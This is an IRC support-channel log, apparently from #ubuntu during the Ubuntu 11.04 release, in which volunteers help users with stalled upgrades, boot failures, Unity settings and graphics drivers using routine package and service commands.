[11:54] <Nunya> anyone have any idea why the upgrade to Natty has stalled for hours now with :  restarting services have possibly affected the upgrade: restarting spam assassin done, restarting cups...   then nothing?
[11:55] <jaypur> who has ubuntu 64bits version?
[11:55] <jrib> jaypur: best to just ask the channel your actual question (on a single line)
[11:55] <genupulas> !grub
[11:55] <jaypur> jrib, i've already....
[11:55] <ubottu> GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[11:56] <nick-nack> is cpu scaling working correctly in 11.04 x64?
[11:56] <NeoCicak> hi all.... does anyone know how to change the default unity shortcut? i dont want the super + f1 key to open the menu panel... I also dont want the super + t key to open the trash can.....:( i cant seem to find the way to change this behaviour anywhere
[11:56] <NeoCicak> jaypur: i'm using 64 bit
[11:56] <jaypur> NeoCicak, have you already faced some problems?
[11:56] <jrib> jaypur: if no one answered wait patiently and repeat after about 10 minutes.  Please don't ask "who is using ..." as it's not very productive
[11:56] <NeoCicak> jaypur: not yet.... but i've just upgraded about 3 hours ago
[11:56] <KNUBBIG> NeoCicak: should be possible with compizconfig-settings-manager
[11:57] <jaypur> NeoCicak, have you installed programs like gimp, inkscape?
[11:57] <m3t4lukas> Hey guys I have a problem with my Virtual Box OSE Installation on 11.04. Everytime I start the application I get logged off. I tried complete removal and reinstallation, but nothing helped...
[11:57] <Soothsayer> My graphics card has drivers on the official website.. it's a .run file, what do I do with it ?
[11:57] <jrib> jaypur: if you have a computer that can handle 64bits, there's no reason nowadays not to use 64bit
[11:57] <C_Classic> I have an external touchscreen-monitor connected to my notebook. When I use dual view the touchscreen doesn't work properly anymore. (It handles it as one huge screen) How can I configure Ubuntu that the touchscreen is only on my external monitor?
[11:57] <jrib> Soothsayer: what card?
[11:57] <NeoCicak> KNUBBIG: i assume you are referring to the 'commands' section there?
[11:58] <raylee> hi
[11:58] <jaypur> jrib, the 64 version used to have a lot of problems.... and nowadays? is it still facing it?
[11:58] <KNUBBIG> NeoCicak: for the terminal, yes, for unity settings you have too look at the ubuntu-unity plugin
[11:58] <KNUBBIG> trash can* not terminal, sorry
[11:58] <raylee> what is the new ubuntu like
[11:58] <jrib> jaypur: what problems are you referring to exactly?  I've been using 64bit for many years without issues now
[11:59] <NeoCicak> KNUBBIG : nope.... i bound super + t to run gnome-terminal... but it still opens the trash can :(
[11:59] <jaypur> jrib, i remember about, firefox, some programs and about video drivers and flash
[11:59] <NeoCicak> KNUBBIG: plugin? where can i get that?
[11:59] <nick-nack> my cpu scaling is not working. sudo modprobe -v powersave, for example, says "FATAL: Module powersave not found."
[11:59] <NeoCicak> jaypur: nope
[11:59] <lvh> Hello.
[11:59] <jrib> jaypur: those haven't been problems for a long time.  I don't recall video drivers ever being a problem and adobe provides a 64bit version of flash now
[11:59] <nick-nack> cpu is running at top speed constantly.
[12:00] <jaypur> hmm, so i'll get the 64 version oh yeah
[12:00] <jaypur> :D
[12:00] <KNUBBIG> NeoCicak: there should be an icon telling "Ubuntu Unity Plugin"
[12:00] <jrib> Soothsayer: do you know what video card you have?
[12:00] <KNUBBIG> NeoCicak: but give me a sec I'm trying to find sth
[12:00] <gartral> jrib: i still find the 64-bit flash is near useless..
[12:00] <jrib> gartral: in what sense?
[12:01] <[ND]> mikebeecham: if u have it in "most frequently used" on the "add application" button in the launcher, try to drag and drop it back to the launcher
[12:01] <lvh> The update to 11.04 appears to have made my system unbootable. It tells me the volume for / isn't available yet. (/ is /dev/sda3). It's mounted by UUID in /etc/fstab, but I would expect those UUIDs to not change.
[12:01] <gartral> jrib: the 64-bit flash runs at nearly 1/4 the speed/effeciency of the 32-bit varient on my i7/gtx260/8gig ram system..
[12:01] <mikebeecham> [ND], I dont
[12:01] <NeoCicak> KNUBBIG: i think unity has just crashed on me..
[12:02] <KNUBBIG> NeoCicak: then try relogging :)
[12:02] <gartral> jrib: but that's my experience with it. that won't hold true for everyone
[12:02] <lvh> Now, the confusing part is that it tells me /dev/sde3 is mounted in /, but I don't even *have* a /dev/sde
[12:02] <thegoodcushion> Quick poll: What do you think of Unity?  Thumbs up or down?
[12:02] <lvh> I have a /dev/sdd, that's about it.
[12:02] <jrib> gartral: ah, I haven't compared so that may be true.  But it works well enough for me
[12:02] <jrib> thegoodcushion: please don't take polls here
[12:04] <sect114> having problems downloading 11.4 onto my powerpc mac laptop - am updating from 10.10, stops with this message:     W:Failed to fetch http://ports.ubuntu.com/ubuntu-ports/dists/natty/Release  Unable to find expected entry  partner/binary-powerpc/Packages in Meta-index file (malformed Release file?)
[12:04] <sect114>      	 	 	 	 any ideas on what i should do?
[12:04] <sect114>   
[12:04] <kr1pt0r> #dclabs
[12:04] <lvh> The exact error message I'm getting is "The disk drive for / is not ready yet or not present"
[12:04] <NeoCicak> KNUBBIG: hmmm...back
[12:05] <lvh> If I tell it to skip, it tells me that for *all* the filesystems.
[12:05] <lightbricko> Does the flash plugin in 11.04 use the gpu when watching movies (youtube etc.)?
[12:05] <trijntje> is there somewhere I can check to find out if the update servers are still so congested? I dont want to update for 12 hours ;)
[12:07] <fcuk112> is there any way i can configure ctrl-alt-T to launch terminator rather than terminal?
[12:07] <chandru_in> Can the list of favorite folders in launcher be modified?
[12:07] <zvacet> sect114: try to disable partner repo during upgrade and enable it after
[12:07] <[ND]> mikebeecham: alt F2 : nautilus
[12:08] <Nunya> upgrade from 10.10 to 11.04 stalled out after it restarted services hours ago... cups restarting....... then nothing??
[12:08] <chandru_in> fcuk112, Disabled keyboard shortcut and create a new one with terminator as command
[12:08] <fcuk112> chandru_in, good idea thanks.
[12:09] <fcuk112> any quick fix for guake?  (reduce width to take launcher into account)
[12:09] <Shaggy2> has anyone had any problems with booting into ubuntu 11.04 after install?
[12:09] <Nunya> at least yours installed  Oo
[12:09] <NeoCicak> anyone know how to change the unity shortcut? (alt-f1 & super-t in particular)
[12:10] <Incarus6> Shaggy2, have you got a problem with booting into 11.04?
[12:10] <mikebeecham> [ND], thanks, but I cant seem to add a folder to the launcher
[12:10] <Incarus6> Nunya, have you issues with installing 11.04?
[12:10] <Nunya> yes
[12:10] <Nunya> Incarus6 yes
[12:10] <m_e> hey guys, how can i deaktivate the new look and feel thingy. (go back to the normal taskbar that requires less performance)
[12:10] <Nunya> it has stalled out
[12:10] <Incarus6> Nunya, can you paste /var/log/dist-upgrade/apt.log ?
[12:11] <sect114> zvacet:thanks! where do i disable partner repo?
[12:11] <chandru_in> m_e, Select ubuntu classic in login
[12:11] <Nunya> yes gimme sec
[12:11] <Shaggy2> yes it wasn't loading, would start to load (ie the purple screen) then would go to a black screen and nothing, I could type anything I wanted and it wouldn't do anything, I shoved the disk back in to boot to live to double check that it works on my system and loaded in with out a problem I am now running the install again
[12:11] <Shaggy2> maybe something went cookoo while installing
[12:12] <zvacet> sect114:  ubuntu software center>edit>repositories>uncheck partner and reload
[12:12] <KNUBBIG> sudo nano /usr/share/applications/nautilus-home.desktop
[12:12] <KNUBBIG> whoops
[12:12] <Incarus6> Shaggy2, did you try the rescue mode? could be a dependency error with plymouth
[12:12] <KNUBBIG> wrong tab
[12:12] <Incarus6> KNUBBIG, nevermind. that wont work here ;)
[12:12] <Shaggy2> will try that if it happens again thanks
[12:12] <KNUBBIG> Incarus6: I know :D but didn't want to spam the channel with crap :)
[12:12] <Shaggy2> I dumped windows 7 for this problem lol
[12:12] <Incarus6> KNUBBIG, sudo killall * :D
[12:13] <KNUBBIG> Incarus6: no! :D
[12:13] <Shaggy2> MICROSUCK BALLS
[12:13] <Nunya> Incarus6 http://pastebin.com/0WzjDVfc
[12:13] <Incarus6> Shaggy2, try to boot into the terminal via rescue mode and type "sudo apt-get -f install" and/or try "sudo aptitude", it can fix dependecy errors better
[12:13] <[ND]> mikebeecham: maybe bookmarking that folder will be a good workaround
[12:14] <sect114> zvacet: cheers! will try now
[12:14] <Incarus6> !language | Shaggy2
[12:14] <ubottu> Shaggy2: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[12:14] <mikebeecham> [ND], or go back to classic ;)
[12:14] <[ND]> J;)
[12:14] <Shaggy2> ok sorry
[12:14] <idris> hello any problems so far along the narwhal route?
[12:15] <lvh> The update to 11.04 appears to have made my system unbootable. It tells me the volume for / isn't available yet. Exact error message: "The disk drive for / is not ready yet or not present". (/ is /dev/sda3). It's mounted by UUID in /etc/fstab, but I would expect those UUIDs to not change. Dropping into maintenance console allows me to manually mount the filesystems just fine.
[12:15] <mtlife> does unity require gdm?
[12:15] <m_e> chandru_in: thanks a lot
[12:15] <mtlife> because i use lxdm right now...
[12:15] <Incarus6> Nunya, pls paste "cat /var/log/dist-upgrade/apt.log | grep broken" vor better overview
[12:15] <Nunya> ok gimme sec
[12:15] <nishanth> i accidentally disabled unity plugin in compiz when i was trying to enable cube deformation plugin. now i dont have access to any of the icons. could someone help me?
[12:16] <jackster> something strange is happening under vmware fusion with Natty - when I log in it tells me my system can't run Unity and I get a normal Gnome desktop with the dark theme, then after about 40 seconds the bars along the top and bottom change from the black look to some sort of Windows 9x style appearance - anyone heard of this?
[12:16] <chandru_in> Is it possible to change the list of favorite folder in launcher (Super + F)?
[12:16] <Nunya> Incarus6 that command produced nothing
[12:16] <Incarus6> nUNYA, AND PASTE MAIN.LOG IN THE SAME DIR AND (IF NOT EMPTY) ALSO (apt-)term.log (sry, caps lock)
[12:17] <mtlife> does unity require gdm? Because im using lxdm right now.. and it doesnt work?
[12:17] <gartral> mtlife: yes
[12:17] <Incarus6> Nunya, sry, i meant "cat /var/log/dist-upgrade/apt.log | grep Broken"
[12:17] <mtlife> gartral: thx
[12:18] <Incarus6> gartral, sure? you can also boot gnome from kdm and kde from gdm?
[12:18] <lightbricko> lvh: I don't know for sure, but if it's a GRUB issue, check here how to get GRUB info with bootscript and then fix it: http://ubuntuforums.org/showthread.php?t=1705279
[12:18] <MennaEssa> Guys my friends laptop went off during the upgrade to 11.4 , ofcourse it's no longer working it gives this :init: playmouth main process (61) killed by SEGV signal any idea if we can solve this or she has el reinstall ?
[12:19] <Nunya> Incarus6 http://pastebin.com/U0uWJ1Kt
[12:19] <gartral> Incarus6: you cannot start unity from kdm.
[12:19] <Incarus6> MennaEssa, you mean plymouth? try to boot in rescue mode and look if dependencies are correct
[12:20] <nishanth>  i accidentally disabled unity plugin in compiz when i was trying to enable cube deformation plugin. now i dont have access to any of the icons. could someone help me?
[12:20] <Nunya> Incarus6 it looks like I have quite the mess  :(
[12:20] <Nunya> zomg
[12:21] <Incarus6> Nunya, ? and optionally paste "apt-cache policy gnome-user-guide"
[12:21] <Nunya> gimme sec
[12:22] <m|kael> hi, i just installed ubuntu on my netbook to try it out, everything seems to be working except the sound, does anyone know how to fix this?
[12:22] <Nunya> Incarus6 where is that?
[12:22] <Nunya> I dont see it
[12:22] <Incarus6> m|kael, yes, goto the sound settings and turn "mute" off and check if the right hardware is selected. didnt work for me either, because "hdmi output" was selected as default sound device
[12:23] <Incarus6> Nunya, the last one is a command
[12:23] <zvacet> Nunya:  run command and paste output
[12:23] <botcity> nishanth, can you not access ccsm?
[12:23] <Incarus6> Nunya, don't forget the main.log
[12:23] <nishanth> botcity no there are no more application icons to click on
[12:24] <KNUBBIG> nishanth: alt + f2 -> ccsm maybe?
[12:24] <nishanth> KNUBBIG tried that , did not work
[12:24] <m|kael> Incarus6: its set to internal sound now, analog stereo duplex
[12:25] <jpohl> i just upgraded to xubuntu/natty and now when i try to shutdown or restart it just takes me back to the login screen
[12:25] <KNUBBIG> nishanth: tried logging into classic ubuntu and there enabling the unity plugin in ccsm?
[12:25] <Nunya> Incarus6 http://pastebin.com/9DTm8vXp
[12:25] <Shaggy2> ok it has finished it's re install.... first boot has all the services listed with [OK] after them but one. Starting automatic crash report generation [fail]
[12:25] <Incarus6> m|kael, still not working?
[12:26] <zvacet> nishanth:  try to boot in ubuntu classic and disable visual effects and then again boot in unity
[12:26] <Shaggy2> and it just hangs there with that on the screen
[12:26] <m|kael> Incarus6: now it does, im puzzled lol, it didnt work 5 min ago :/
[12:26] <phoenixsampras> How to Downgrade??
[12:26] <botcity> ccsm could do with a reset switch lol
[12:27] <nishanth> zvacet wat do you mean by ubuntu classic?
[12:27] <Incarus6> m|kael, you'r welcome
[12:27] <KNUBBIG> botcity: I think it has under preferences | reset to defaults
[12:27] <KNUBBIG> but never tried it :)
[12:27] <ScottONanski> Hey, can you separate texts into chat bubble with Pidgin like you can with Empathy?
[12:28] <zvacet> nishanth:  it is gnome but on login screen under sessions it is called ubuntu classic
[12:28] <phoenixsampras> why 11.04 STILL HAS the hibernation and suspend bugs?
[12:28] <Incarus6> Nunya, are you sure the first output is the file /var/log-dist-upgrade/main.log ?
[12:28] <nishanth> zvazet ok let me try that and come back
[12:29] <osmosis_paul> Somebody know why the java channel is not in the channel list anymore?
[12:29] <Nunya> yes I think so?
[12:29] <KNUBBIG> osmosis_paul: you need to registered and join ##java afaik
[12:30] <cdavis> Anyone here know much about remmina?
[12:30] <Incarus6> Nunya, I don't think so, are you sure?
[12:30] <Shaggy2> how do I get to the rescue mode?
[12:30] <cdavis> It seems like the password hashes are not the same for all bookmarks now, which means all of my saved files are broken
[12:30] <Nunya> Im not sure of anything right now, please tell me what you need again
[12:30] <botcity> KNUBBIG, , preferences >> reset to defaults is there maybe that can help nishanth
[12:31] <Nunya> tired been on this all night
[12:31] <KNUBBIG> botcity: If he gets into ccsm, yes, maybe
[12:31] <Incarus6> Nunya, the output of "cat /var/log/dist-upgrade/main.log" / the content of that file
[12:31] <Nunya> ok
[12:32] <Shaggy2> Incarus: how do I get the Rescue mode to show?
[12:32] <boneseer> how do i repair a ubuntu installation from a live cd?
[12:32] <CQ> hello, how do I figure out which xserver I am using? there are around 15 installed and I want to remove the unused ones
[12:32] <iceroot> boneseer: repair what exactly?
[12:32] <boneseer> my install. it won't boot.
[12:33] <Naphidia> anyone have experience with getting Intel 1030 Wireless-N working on ubuntu ?
[12:33] <iceroot> boneseer: errors?
[12:33] <Nunya> Incarus6 http://pastebin.com/b1qdzpML
[12:33] <qkit> strange i manage to get my ubuntu classic running
[12:33] <boneseer> i can't copy it. it was regarding a font or something. the colors of the text where in the style of ubuntu colors.
[12:33] <qkit> but how can i get unity to be running on ubuntu 11.04?
[12:33] <boneseer> can't use the terminal there either
[12:34] <erkan^> compiz-gnome doens't work )-:
[12:34] <botcity> KNUBBIG, sorry i thought he could get into it he just had no icons.. anyway let hope it works :-)
[12:34] <zvacet> qkit:  did you tried login screen>session>ubuntu
[12:34] <Incarus6> boneseer, you type "chroot /PATH" to be able to run commands in your old system
[12:34] <qkit> yes
[12:34] <Soothsayer> im so confused about setting up my graphics drivers
[12:34] <qkit> and it only show me an empty screen with an wall paper only
[12:35] <KNUBBIG> !chroot > boneseer
[12:35] <ubottu> boneseer, please see my private message
[12:35] <Soothsayer> how do I check if its enabled or not to its full capacity?
[12:35] <zvacet> qkit: maybe is graphic problem I'm not sure,but unity need 3d
[12:35] <lightbricko> How do I check if my flash player is GPU accelerated (as it should be)? The issue is that flash (youtube) videos don't run smoothly, however the laptop i ~5 years old. I run 11.04.
[12:35] <Naphidia> actually... can someone point me to a tutorial for compiling a NEW kernel downloaded from source from kernels.org i wana do it from scratch
[12:35] <dmartinng> Is it just me, or Unity doesn't appear when I boot up from a USB?
[12:36] <Hedgehog456> Finally, the Ubuntu servers are stable now :D
[12:36] <KNUBBIG> !kenrel > Naphidia
[12:36] <misse-> dmartinng: perhaps becasue you're gfx need drivers to be installed
[12:36] <KNUBBIG> !kernel > Naphidia
[12:36] <ubottu> Naphidia, please see my private message
[12:36] <KNUBBIG> sorry
[12:36] <lightbricko> dmartinng: I haven't tried it from USB, but with the 11.04 liveCD (run from CD) I got unity as expected.
[12:36] <Naphidia> ty
[12:36] <dmartinng> hm. I tried it on two computers and both didn't show Unity
[12:37] <zvacet> Naphidia: http://www.ubuntugeek.com/automatically-compile-and-install-the-latest-kernel-using-kernelcheck-in-ubuntu.html
[12:37] <dmartinng> I tried logging out and I didn't see Unity as a choice...
[12:37] <qkit> hmm, aha the unity-2d panel is no installed
[12:37] <Incarus6> Nunya, strange. The issue seems to be everything from line 150 to line 170
[12:37] <qkit> let me try install it and see
[12:37] <Nunya> so what do you suggest?
[12:38] <T0aD> hi, need some suggestions following this problem: I have a backup box with 4 drives in raid5, and the partition in raid5 (/home) wont mount at start because the fs aint clean. I boot a ubuntu server cd on it, run fsck on it but it keeps segfaulting after reaching some inode
[12:38] <lightbricko> dmartinng: Are you using 11.04?
[12:38] <dmartinng> yes, just downloaded it couple of hours ago
[12:38] <Younder> My Ubuntu 11.4 install can't start the xmanager. It logs in and the fails to respond to aly key or mouse commands.I managed tu shut it down and start a xaw session. Any idea what has happened?
[12:38] <dmartinng> I even made sure of it, I checked the software version while running the OS itself
[12:38] <zikalify> unity 2d must be installed via ppa, if your graphics card isnt installed you will get classic ubuntu, open additional dirvers app and install your graphics card, reboot and pick unity from login screen and done
[12:38] <Incarus6> Nunya, it looks like it cannot recognize the free space ("<DistUpgradeCache.FreeSpace object at 0x3f762d0>" line 150)
[12:38] <Naphidia> god i hope this makes my wireless work, i have the feeling it maybe hte gpu switching on this fucking thing
[12:39] <andeeeuk> how can we turn on 3d in ubuntu 11.04
[12:39] <andeeeuk> ?
[12:39] <Nunya> Incarus6 so what shall I do?
[12:39] <bazhang> Naphidia, no cursing please
[12:39] <dmartinng> uh huh i see
[12:39] <lightbricko> dmartinng: strange. I didn't have that issue so I can't help, other than confirming it worked for me (with CD)
[12:39] <joru> hi, i've successfully installed ubuntu 11.04 on two computers but my third computer does not lot load correct grub2, it loads the old grub. what can i do?
[12:39] <Phylock> is it possible to move the unity launcher to the right side of the screen??
[12:39] <Shaggy2> oIncarus6: how do I load into rescue mode please
[12:39] <qkit> ok, i get another option in my login menu. is unity-2d
[12:39] <dmartinng> oh, both the computers I tried it on had no internet
[12:39] <qkit> thanks everyone for the help :P
[12:39] <dmartinng> possibly the drivers arent installed properly
[12:40] <Incarus6> Nunya, I found several websites, were the same error appeared: http://ubuntuforums.org/showthread.php?t=1274731
[12:40] <lightbricko> dmartinng: Yes it seems like zikalify had the answer for you :)
[12:40] <nis> i accidentally disabled unity plugin in compiz and now i cant access any of the applications icons
[12:40] <cdavis> For anyone who rdesktops into a lot of windows servers, what do you use instead of remmina?
[12:40] <dmartinng> I saw :D thanks guys :D
[12:41] <vibhav> goood
[12:41] <Nunya> Incarus6 that really tells me nothing that I can see? you?
[12:41] <Shaggy2> can someone please tell me how to load into the rescue mode on 11.04
[12:41] <Nunya> or are you stumped as well?
[12:41] <dmartinng> oh btw, i forgot to check but, what version of LibreOffice comes with Ubuntu 11.04?
[12:42] <Guest5681> hello
[12:42] <vibhav> <Shaggy2> Grub Rescue Mode?
[12:42] <botcity> nis, did the log out to classic not work ?
[12:42] <vibhav>  hey Shaggy2 Grub Rescue Mode?
[12:42] <Shaggy2> I don't know.... Incarus6 told me to load into rescue mode and run some commands
[12:43] <Shaggy2> I have no idea how to get to the rescue mode
[12:43] <Vustom> BlouBlou
[12:43] <muneeb> hi, got error while upgrading "package nspluginwrapper 1.2.2-0ubuntu9 failed to..." can't install anything... STUCK what to do???
[12:43] <Incarus6> Shaggy2, vibhav, not the Grub rescue mode
[12:43] <BlouBlou> Vustom: yes?
[12:43] <mimo> me pueden ayudar diciéndome donde puedo encontrar driver para mi tarjeta grafica
[12:43] <Nunya> Incarus6 am I screwed and am I going tio have to force quit and lose all?
[12:44] <vibhav> <Shaggy2> In the login screen , Cose your user, and where "ubuntu" is written , click on it and chose "recovery mode" or something like that .....
[12:44] <PaulW2U> dmartinng, LibreOffice version with 11.04 is 3.3.2
[12:44] <Vustom> I have deleted the unwanted partitions and now I have my Windows partition which is /dev/sda1 and the FACTORY IMAGE which is /dev/sda2, but when I try to boot it says, error: no partition and under it is gnub rescue> or something..
[12:44] <Shaggy2> I can not get to the login screen
[12:44] <Incarus6> nunya, actually these are DEBUG infos, Im not sure if this caused the problem
[12:44] <dmartinng> hm, thanks :D @PaulW2U
[12:44] <muneeb> Unity+ ATI does it work?? I'm unable to use Unity?
[12:44] <Vustom> i need to boot into /dev/sda2..
[12:44] <zvacet> Shaggy2: when you see grub choose recovery mode and boot in it
[12:44] <Shaggy2> I don't get to see grub either
[12:44] <Nunya> Incarus6 so what do you suggest I do? if I force quit I lose all
[12:45] <Nunya> and will most likely have nothing to boot into
[12:45] <snoeman> How do I tell for certain which graphics driver my laptop with ubu ntu 10.10 installed is running on. It should be openchrome but I suspect it is running on fbdev
[12:45] <Incarus6> Nunya, are you sure about that? it doesnt look like everything failed with that upgrade
[12:46] <zvacet> muneeb:  tried to install additional drivers?
[12:46] <Vustom> D: help?
[12:46] <Incarus6> Nunya, you didn't restart since the upgrade, correct?
[12:46] <Shaggy2> it loads the purple screen with nothing on it, then drops to a plane black screen, when I hit ctrl+alt+del it does the kill proccess but all I am getting is a blane black scren
[12:46] <Incarus6> !ask | Vustom
[12:46] <ubottu> Vustom: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[12:46] <Nunya> no, it has sat stalled
[12:46] <Nunya> while Ive been googling
[12:46] <muneeb> zvacet, yes i installed but after ubuntu gave error
[12:46] <vibhav> anybody with any problem???
[12:47] <Nunya> last output is cups restarting
[12:47] <Incarus6> Nunya, we can look if all dependeces matches or you could simply reconfigure every package. I hope that works
[12:47] <Shaggy2> vibhuv I just told you my problem
[12:47] <Incarus6> *dependencies
[12:47] <Nunya> reconf every package?
[12:47] <muneeb> zvacet, i upgraded then ubuntu showed error that it doesnt support hw accl then i installed but no luck
[12:47] <Nunya> how do I do that?
[12:47] <Incarus6> Shaggy2, so even grub isn't starting?
[12:47] <Vustom> I have deleted my Ubuntu partitions, and only have my Windows partition and my factory_image partition, I'm currently using Ubuntu from the LiveCD and I need to boot into /dev/sda2 but I can't do it with GRUB because it says "error: no partition.. grub rescue>"
[12:47] <Younder> My Ubuntu 11.4 install can't start the xmanager. It logs in and the fails to respond to any key or mouse commands.I managed tu shut it down and start a xaw session.
[12:48] <Shaggy2> it has to be starting I just don't get any options
[12:48] <Nunya> Incarus6 how would I reconf every package?
[12:48] <axle> I'm on a very new Lenovo Z370, 2nd generation i5, nvidia geforce 410m
[12:48] <zvacet> muneeb:  sorry I don't know my ati works
[12:48] <Shaggy2> is there a button I can press to force grub to show
[12:48] <Incarus6> Nunya, let's first check the dependencies. just to be sure, you upgraded your computer and it suddenly closed the update window and you didn't restart since then, correct?
[12:48] <muneeb> zvacet, did install drivers?
[12:48] <zvacet> Shaggy2:  shift I think
[12:48] <Nunya> correct
[12:49] <Nunya> and no the upgrade window is still open
[12:49] <Nunya> just sitting there stalled
[12:49] <zvacet> muneeb:  yes I installed fglrx from system>admin>additional drivers
[12:49] <Skei> Morning, all. I have a discrete NVIDIA video card which works well under 10.10, but there's also an integrated Intel card that Ubuntu isn't recognising / detecting. Any pointers for getting this installed ?
[12:49] <Vustom> ? :(
[12:49] <muneeb> anyone has idea about this "nspluginwrapper error"... i'm unable to install anything :(
[12:49] <Younder> It seems to be oonly the x manager I can run the apps and Datatbase etc are up
[12:49] <Incarus6> Vustom, please ask your question
[12:50] <Vustom> I did.
[12:50] <Shaggy2> YAY shift is it
[12:50] <Incarus6> Vustom, nevermind
[12:50] <Vustom> :p
[12:50] <Vustom> Incarus6: I have deleted my Ubuntu partitions, and only have my Windows partition and my factory_image partition, I'm currently using Ubuntu from the LiveCD and I need to boot into /dev/sda2 but I can't do it with GRUB because it says "error: no partition.. grub rescue>"
[12:50] <zvacet> muneeb:  paste error and then somebody will help you more info please
[12:50] <Younder> Does 11.04 mess with .Xconfig ?
[12:51] <ojii> is there a way to flag folders as 'not-to-be-indexed/searchable' by the unity launcher?
[12:51] <Incarus6> Vustom, the problem is, that when you removed the linux partition you also removed the grub files in /boot/grub, which grub needs to start.
[12:51] <robin0800> Younder, there is no .Xconfig by default
[12:51] <Vustom> D:
[12:51] <Incarus6> Vustom, Fix the mbr with a windows bootloader
[12:51] <Younder> robin0800, well where is the configuration?
[12:51] <Nunya> Incarus6 http://i52.tinypic.com/2pyx8xc.png
[12:51]  * Vustom is confused..
[12:52] <Vustom> How?
[12:52] <m|kael> how do i open more then 1 terminal in unity?
[12:52] <axle> I'm on a very new Lenovo Z370, 2nd generation i5, nvidia geforce 410m. From time to time, ubuntu won't boot, but gives me some kind of an error trace when I boot into recovery mode. It says something like "fixed recursive fault, but reboot is needed". Some times this is the last line of output before it stops, sometimes there are 2 lines about "clocksource" and "tcs" or something like that. When I reboot, I get the same error message ag
[12:52] <m_e> i wonder whats the best way to syncronize a folder between my windows and my ubuntu machine
[12:52] <webtrickster> can any one tell me how to remove unity from ubuntu 11.04
[12:52] <Soothsayer> webtrickster: you dont have to remove it
[12:53] <Incarus6> Nunya, and it stopped at this point?
[12:53] <Soothsayer> webtrickster: just pick classic during login
[12:53] <zvacet> mikael: middle muse button
[12:53] <Nunya> Incarus6 yes
[12:53] <robin0800> Younder, if you install proprietary nvidia drivers it will add it otherwise its all magic
[12:53] <Soothsayer> My boot is stuck at "Checking battery state...."
[12:53] <Soothsayer> and this is a desktop
[12:53] <webtrickster> i just want to install gnome 3
[12:53] <Soothsayer> the last thing I did was configured my second monitor in Nvidia Server X Settings dialog
[12:53] <mtlife> ok can anyone help me? Im out of ideas. I upgraded from lubuntu 10.10 too 11.04, everything seemed fine. Until I wanted to try out unity, so I installed gnome and unity and setup gdm as my login manager. But both gnome and unity are not working properly.
[12:53] <Soothsayer> wrote to config
[12:53] <botcity> m|kael, ctl + alt + t  for a terminal and again if you need two
[12:53] <vibhav> <webtrickster> on which ubuntu version?
[12:53] <Soothsayer> and rebooting
[12:53] <mikebeecham> hi guys...can anyone advise how to enable nvidia recommended drivers?
[12:53] <axle> webtrickster: bad idea, very bad idea... I tried it myself, it f*cked up my whole system :/
[12:54] <mikebeecham> I'm being told that I have activated them, but they're not in use
[12:54] <webtrickster> 11.04
[12:54] <muneeb> please someone check this error...  http://paste.ubuntu.com/600694/
[12:54] <robin0800> webtrickster, it will break unity
[12:54] <mtlife> With gnome I do get the panel, but no minimize/maximize buttons or draggable panels. On unity the panel seems to be completely missing
[12:54] <Psychobudgie> webtrickster, there is a guide on the official forums to adding the gnome 3 ppa if you wish to
[12:54] <mtlife> any ideas?
[12:54] <Younder> robin0800, I do have a proprietary NVidea driver, yes
[12:54] <vibhav> <webtrickster> to write to me first write my name (vibhav) and then press enter
[12:54] <Incarus6> Vustom, there are several ways to do this, e.g. http://www.pronetworks.org/forums/how-to-restore-vista-boot-loader-t76643.html this isn't an ubuntu related question, you can find some solutions by googling "bootloader restore"
[12:54] <muneeb> something is broken but cant figure out what!! http://paste.ubuntu.com/600694/
[12:54] <webtrickster> vibav:okay
[12:54] <Psychobudgie> webtrickster, however be aware if you proceed with gnome 3 you cannot roll back to unity or gnome 2
[12:55] <Shaggy2> ok I have done the apt-get -f install, there was nothing to install
[12:55] <m|kael> botcity: is there a manual somewhere that sumarize all those shortcuts?
[12:55] <Incarus6> Nunya, interesting Font. Lets try "sudo stop cups"
[12:55] <robin0800> younder then you can run nvidia config to create it
[12:55] <Nunya> ok
[12:55] <Incarus6> Nunya, and paste output if errors appear
[12:55] <Bully> 有人嗎?
[12:55] <LjL> !cn | bully
[12:55] <ubottu> bully: For Ubuntu help in Chinese 您可以访问中文频道：打字 /join #ubuntu-cn 或者 打字 /join #ubuntu-tw  或者 打字 /join #ubuntu-hk
[12:55] <mikebeecham> the only option I have is to "remove" the driver...which I obviously dont want to do since it's recommended
[12:55] <webtrickster> Psychobudgie: plz tell me the procedure or give me any link
[12:55] <Incarus6> LjL, are you sure its chinese?
[12:55] <Bully> 妳誰?
[12:55] <Younder> robin0800, Thanks I'll try
[12:56] <zvacet> muneeb:  in terminal sudo dpkg --configure -a
[12:56] <LjL> Incarus6: quite sure
[12:56] <Shaggy2> ok I have done the apt-get -f install, there was nothing to install
[12:56] <muneeb> zvacet, i'll try thanks
[12:56] <Psychobudgie> webtrickster, goto the forums and do a search for 'gnome 3 ppa'
[12:56] <Guest5681> !jp | bully
[12:56] <ubottu> bully: 日本語の場合は #ubuntu-jp または #kubuntu-jp を参照して下さい
[12:56] <zvacet> muneeb:  yw
[12:56] <LjL> it wasn't japanese
[12:56] <dmartinng> 你好
[12:56] <Nunya> Incarus6 cups is stopped now
[12:57] <webtrickster> Psychobudgie:okay i'll try thanks
[12:57] <Incarus6> LjL, yes, it's chinese
[12:57] <Marsha||[a]> can i ask for help here ?
[12:57] <dmartinng> uhhi understood it, in chinese
[12:57] <dmartinng> bully asked if there was anyone around
[12:57] <Incarus6> Nunya, and the upgrade process doesn't continue?
[12:57] <muneeb> zvacet, same error :(
[12:57] <Psychobudgie> webtrickster, if you are struggling to use the forums you really shouldn't consider moving to gnome 3
[12:57] <Bully> 幹你娘
[12:57] <LjL> Marsha||[a]: that's what the channel is for, yes
[12:57] <Nunya> I think it might be  :D
[12:57] <Marsha||[a]> great :D
[12:57] <Marsha||[a]> need help with linux
[12:57] <bazhang> Bully, stop that
[12:57] <Incarus6> Nunya, try "sudo /etc/init.d/cups restart"
[12:58] <LjL> Bully: 请到华人#ubuntu-cn
[12:58] <vibhav> <Marsha||[a]> Yes?
[12:58] <Skei> Morning, all. I have a discrete NVIDIA video card which works well under 10.10, but there's also an integrated Intel card that Ubuntu isn't recognising / detecting. Any pointers for getting this installed ?
[12:58] <bazhang> LjL, that was really foul, what he said
